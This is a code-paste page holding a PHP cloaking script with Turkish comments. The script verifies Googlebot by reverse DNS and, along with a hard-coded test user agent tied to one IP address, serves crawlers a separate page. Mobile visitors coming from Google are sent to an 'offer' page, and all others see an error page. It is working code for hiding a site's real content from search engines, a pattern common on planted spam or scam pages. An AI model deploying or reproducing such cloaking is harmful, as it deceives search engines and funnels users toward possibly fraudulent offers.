Untitled

 avatar
unknown
plain_text
a year ago
1.8 kB
5
Indexable
<?php
$ipAddress = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$httpReferer = $_SERVER['HTTP_REFERER'] ?? '';

function isKnownBot($userAgent, $ipAddress) {
    $knownBots = [
        'Googlebot', 
        'Googlebot-Image',
        'Googlebot-Video',
        'Google-InspectionTool',
        't3st_b4b4', 
    ];

    foreach ($knownBots as $botAgent) {
        if ($userAgent && strpos($userAgent, $botAgent) !== false) {
            $host = gethostbyaddr($ipAddress);
            if (checkDNS($host, $botAgent, $ipAddress)) {
                return true;
            }
        }
    }
    return false;
}

function checkDNS($host, $botAgent, $ipAddress) {
    if (in_array($botAgent, ['Googlebot', 'Googlebot-Image', 'Googlebot-Video']) && preg_match('/(googlebot\.com|google\.com)$/i', $host)) {
        $ipList = gethostbynamel($host);
        if ($ipList !== false && in_array($ipAddress, $ipList)) {
            return true;
        }
    } else if ($botAgent == 't3st_b4b4' && preg_match('/141.98.142.64$/', $host)) {
        return true;
    }

    return false;
}

function isMobileUserFromGoogle($userAgent, $httpReferer) {
    if (empty($userAgent) || empty($httpReferer)) {
        return false; 
    }
    
    $isMobile = preg_match('/Mobile|Android|BlackBerry|iPhone|Windows Phone/', $userAgent);
    $isFromGoogle = strpos($httpReferer, 'google.com') !== false;
    return $isMobile && $isFromGoogle;
}

if (isKnownBot($userAgent, $ipAddress)) {
    include('index-tjrttjrjrjej121212.php'); // Google için özel sayfa
} elseif (isMobileUserFromGoogle($userAgent, $httpReferer)) {
    include('offer-tr.php'); // Gerçek ziyaretçiler için sayfa
} else {
    include('err1.php'); // Hata sayfası
}
?>
Editor is loading...
Leave a Comment